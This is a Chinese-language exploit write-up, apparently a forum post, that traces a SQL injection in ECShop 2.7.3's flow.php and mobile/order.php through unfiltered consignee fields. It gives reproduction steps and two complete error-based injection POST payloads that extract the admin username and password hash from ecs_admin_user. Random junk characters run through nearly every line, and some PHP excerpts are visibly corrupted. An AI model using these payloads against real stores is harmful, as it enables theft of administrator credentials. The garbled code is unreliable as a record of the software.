前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。( Y' ?) Q& w' O
3 f/ i/ m# ?+ P7 ?2 y 漏洞关键文件:
$ Z7 }/ O/ n! G0 B5 O0 a2 i
- v8 g3 f! V; w /includes/lib_order.php% E* o+ w* }' Z
6 A- R7 L! Q# L% E! j2 p& n 关键函数:) a6 ?1 K6 l( X9 @9 Z! u
& w# O9 ^' S* y5 v
9 [* B+ c5 s9 Z# \, u: i/ U1 s. H6 }% {- P/ o- O% J
01 function available_shipping_list($region_id_list)
% |/ |* I8 f$ s) d: Z+ L+ k+ B' O! m9 A
02 { 4 t4 g2 x2 @+ m) q6 J
0 g! p* k, e8 S- }! ~9 ^2 W03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. C! W, B1 t9 \& L `' }; U/ o2 R' D3 U# `
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 4 a: T9 P0 B: S: ~/ |$ a
2 Q( E5 |5 y$ u I D0 S7 s05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ) l2 M# y$ d5 F3 P0 \6 x
% e% G5 n. t. t. H
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ' w$ N& x& O* @4 o
5 b7 f/ I( e6 \# ~+ _5 g07 $GLOBALS['ecs']->table('area_region') . ' AS r '. , k: w/ `, g5 a+ `
% L a0 r; [7 O8 @2 Y+ n9 f+ m08 'WHERE r.region_id ' . db_create_in($region_id_list) .
1 M/ S4 @ G3 K
' m9 A, [! w( | m$ t! E09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
7 Q0 B# W- y, ]# q! Q e% u( q8 H4 h1 A' y0 p; D4 h' m1 t0 Y& L
10 # ^2 z. M! D% p; c1 s: v
9 ]9 I7 c. Q6 o6 V11 return $GLOBALS['db']->getAll($sql);
( {& i6 h) i) d% F
) T; t5 T/ [! S6 y$ Z12 } ' V3 V& c# {( O% ?( c' Q
: T' q( _. Q: r `% h1 J4 R显然对传入的参数没有任何过滤就带入了查询语句。0 s2 o1 O9 ~1 O, c' R
x X2 a8 W) J
下面我们追踪这个函数在flow.php中:2 ]4 @+ R7 K( }( C
第531行: # z8 s) j0 ]/ @+ [: f5 r! B) K6 d9 }7 i
" v; c. I+ a7 Y2 M
1 $shipping_list = available_shipping_list($region);
. d8 O4 H/ v7 ^# N! ]8 x6 {) _* G" w+ t- V# {
: K- X; c" T1 _# }
$ M4 e1 h2 T' S$ Q . A" ^- j8 k, s/ M8 @% }3 l
9 X5 F4 b, J* l& Z- y
再对传入变量进行追踪:" O# _! B a# `7 H4 V
; L7 x$ r- q3 [' j, h; }" j第530行: ) J) P, v, b: j4 f, y$ x
4 C5 J6 Q: {/ y$ b1 W' q' U+ i. |1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 4 [% b8 n" Q+ C4 s
" j3 }/ l! p: Z j, S( f8 A! z
. H- A# e! x4 H0 V- e1 r, e
1 w6 f4 I: n$ D9 f' W+ q) q* ] 4 A# o; X* F* l/ h2 f+ H6 n8 H/ y {
% G3 {; {7 b6 `$ t% h6 P6 ?0 `第473行: 2 u4 q5 W. H* p$ {$ t0 z
* [; c' z2 ^+ X1 ?
1 $consignee = get_consignee($_SESSION['user_id']); 4 w; @; z1 L3 N, ?( s. s# I
) b) z3 ?2 f k" \
到了一个关键函数:: Z0 N9 I, H6 y. e
" C: L4 ^& e0 M3 a- k$ H+ |
/includes/lib_order.php' |* p0 }( x" n3 l& D
8 @) M P! o( o, ^, p3 }: e
" u4 h7 z& l0 J
9 \9 E& ^- \# `0 l
3 z- G: C4 T1 C3 o# ]9 h1 f0 n4 i8 \/ Y+ U
01 function get_consignee($user_id) 6 w1 g: ^9 ^, C V3 l$ l
! Y. R# x9 q2 e) h2 l3 x* l' g
02 { 0 i3 |! }; w, Y& K8 P2 \% j
2 t. X6 \. N; X: n9 A2 i1 e; G
03 if (isset($_SESSION['flow_consignee'])) 4 b5 n6 j2 X- ~6 Z5 d. L* m9 s
) B) H' ~2 u! W% v1 t/ O
04 {
c1 w% P& c7 S. Z
' l3 y& @) R5 |+ N+ j05 /* 如果存在session,则直接返回session中的收货人信息 */ ) G7 f% K+ j# m4 F# C
' f9 f$ a( M. s# i) r* u c ?
06
1 m+ t9 [- w$ H" g+ G% g4 i J; }1 r/ ~5 o2 R
07 return $_SESSION['flow_consignee']; 2 }9 Q- q! l! f3 c w3 ]
5 ~! `, W9 M0 ^4 S- F08 } 9 o8 \5 r& `+ c; ?& s
+ A: b4 `: c# e5 G& M
09 else - C4 j) D% Y& J8 `
5 D* x# Y( Y+ O- W8 H10 { % ~3 i1 }# ?1 f1 n4 V9 s
7 E& Q9 s, u. O9 a6 f/ @+ E" j3 M11 /* 如果不存在,则取得用户的默认收货人信息 */
% [1 R, ]' J2 J( ]5 V2 a, t7 ]
' I" D( R' T8 L5 E8 ]12 $arr = array(); . Z" v' h1 l ~
; u2 k! n& S+ g13
/ m ~3 J0 x! y5 ^" j7 e# z+ Y, c
; X- F" t, T) Z14 if ($user_id > 0) # L9 S4 P& }- t1 \, K
; H5 Q* U4 K+ _( |7 [: R, D% T
15 { 4 w7 T7 X$ t5 I/ W6 ^
' J2 X) {2 I8 j0 t- v9 J: p16 /* 取默认地址 */ X( X b0 \. A1 v8 H: g& [
8 P+ f. M: y2 b
17 $sql = "SELECT ua.*".
8 z) O N; H) S% M
6 g1 R. n+ @4 S5 x18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; J. g- Z; C4 p! a( B0 a9 L
# M7 N7 N' a! B2 W$ I/ j* H
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
. x4 P0 r( |' G) ]& O2 e1 [4 h3 d) w( Q9 p8 O
20
& U0 {5 b a+ z) |' K S
# i g U6 q4 O( d" ?5 o# i21 $arr = $GLOBALS['db']->getRow($sql); + r) T& n9 R7 Z2 ]4 V" T
r0 S1 ^# r+ r; Y2 l22 }
/ q$ N" U3 j, u: b! J7 ]: s" f
]: `; d6 Y0 g; P& C& y$ g0 E23 / w- W/ W. c, A# p. s. u0 `5 m2 f
9 \1 C0 T, |" u9 Y% N3 e: _" N
24 return $arr; + g5 H ~+ d! ]
* A1 L( v' z9 P- j
25 } 9 L% W, @) i1 X; J
: }4 z7 U4 z6 j2 X2 o( U
26 } 5 ~- \% b: a" u
5 x! o4 q5 F7 T* N$ b: C显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% ?: L) Z6 b3 F/ p: |& L o& w9 K8 L, [$ \$ T: e
! V( r0 U. i- @7 }0 r
. W3 z2 `% \$ \
关键点:; |2 ^3 F0 ^. }. J
; y2 h- k# N5 z! H1 v5 }
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);1 a* Z7 g% ?8 t. ?7 }
) v. N+ U9 D7 c
这里对传入参数反转义存入$_SESSION中。
; M0 @) n. t- e0 c. J7 k& t K& [9 J2 z% G }
. a" }# N7 k) L L0 v
0 x: K" _( j/ b然后看下: q# C3 x6 T& ^0 k! @& a3 E
4 v) s' Z4 A9 x . I: x' ^0 ^% l
2 C* x8 i: O3 Z" T
2 X6 S& F' `0 j7 w/ a! ^
6 ?1 X2 [ P- v$ {& ^; F0 Z* J01 $consignee = array(
' N+ U( w9 l# i, Y* J4 f- p# K1 ^6 o; A6 R# q+ l1 z" [
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; n# I& \# m" h% Y) ]: y' M4 q7 \
5 m( J! ]: B% D
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 3 _2 _' I* y: Q! y
; T+ ?1 b- t) b3 u9 F# s( b B04 'country' => empty($_POST['country']) ? '' _POST['country'], 6 B) J5 b& n8 p. L- ~0 G1 [
/ P u W7 P7 c5 X" B" T
05 'province' => empty($_POST['province']) ? '' _POST['province'], 2 k A: E4 S/ B" [! S# {
- t' V9 |& q p4 P6 [6 J06 'city' => empty($_POST['city']) ? '' _POST['city'], , v/ f/ ^! [! m j! P5 `
& M# z- _9 }1 p
07 'district' => empty($_POST['district']) ? '' _POST['district'],
7 I0 W( Z T7 O) ?) }6 W/ F8 M' B, C( Y' o, [' h& \/ u$ \
08 'email' => empty($_POST['email']) ? '' _POST['email'],
* i. P0 U' ?5 h
+ S& y$ c2 f& a$ k4 U6 t. e! }09 'address' => empty($_POST['address']) ? '' _POST['address'], ! d- F0 E3 g5 G8 e- f( w
! U a( \( m$ O* w; }
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 5 s2 n' k8 G9 c; N, Y% n; k' p* J
2 j4 p, Z6 Y& s; @' j
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
+ V! m2 E5 v! g/ n2 |& u% G9 J1 U' |! A4 a8 Z/ L/ ^
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
3 W: J" V# R" m4 a- v- X& R) f
5 m' N8 Q/ j* J8 O1 g4 m* A13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
' s x9 {' c& y9 z0 \$ P. _8 D2 W8 v6 ~
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
$ x5 |4 M% @; q. C! C
( l: `. n3 Z1 f6 D15 );
$ N# v k# r% X% @7 O) t. z" R0 F p3 i2 _2 H; z9 L( [3 Y' R9 h
好了注入就这样出现了。
: D7 a8 R% F: r2 Q0 }2 M w! m+ v
. x8 @3 r' E/ h' l. M2 a' u==================/ g$ Y+ o/ a3 b6 ?5 a2 T9 k: a4 G( l: P
1 B9 @/ Y, A( Y4 m) J4 A0 M
注入测试:% ?, L" G I' O" L- k" Q3 P
. y: s' g" w$ h+ B% G: i J
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)5 h5 `: T6 m) X0 l3 g
. Z! w6 M; @4 k" i+ P/ C测试程序:ECShop_V2.7.3_UTF8_release11066 @) ~1 x, _6 f- Q$ C
& |3 ?! Q% a G7 k% x \' Q: \
" B- x' y9 J7 Q$ o# z4 V6 k4 c: Y' `) X% S
1.首先需要点击一个商品加入购物车
# g1 J9 Q+ p [5 ]. C1 f3 q4 J8 E! e7 J7 S" T! Q8 u
2.注册一个会员帐号4 I( u1 t* b' f( t3 u
/ z# x `: T2 V" t
3.post提交数据
+ t$ r7 S: j2 O- h2 H# i. Q" t: P! T" ~$ K- k/ z& |) v
4 C" k" J; Q1 z6 t6 `. H; t
* m7 Q3 t& u- ?: U* ]5 L1 http://127.0.0.1/ecshop/flow.php 1 e) a M) r; E1 _
+ X# Y" v1 U `4 {7 l# P2 8 `* w$ a; n; [" u0 W( m
( s B' b) F/ w% c% T" P2 H. j
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : _ b) w9 R6 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:( r( u" N( B" j! i
- r) u% k5 D( e+ D. X# X/ ^
我们搜寻关键函数function available_shipping_list()- c' h9 _& e5 H9 R" D- p
; J. K) \2 H/ O( j; u9 u
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同0 d. j( b4 B' d& U. D! X
9 `9 w# q7 n; M6 D' Z利用exp:% c% N0 y2 l" y. ~& ^; B0 _8 Y( b
5 P% c, y2 @3 V3 ?3 A7 {9 f
1.点击一个商品,点击购买商标
$ r, N! W, |0 y2 Z& D7 V. _' T
6 f/ Q }" @. b& s( T2.登录会员帐号
) m/ U5 c$ d/ j x( s G, ?: b" ]$ \( H9 U
3.post提交:
8 o# G4 `% T% z/ y" y# d% C3 {" F* b% [0 p L
http://127.0.0.1/ecshop/mobile/order.php |+ L3 k+ ^ L/ w& q& \) c
, [, p' W( R& P, b/ _ {5 n: |7 o1 [$ a- ?4 n3 f2 p
) H; y. R( q2 D4 Bcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=3 x; H$ w9 S3 _0 T9 w( a
$ W# J5 z2 s: }- V% s |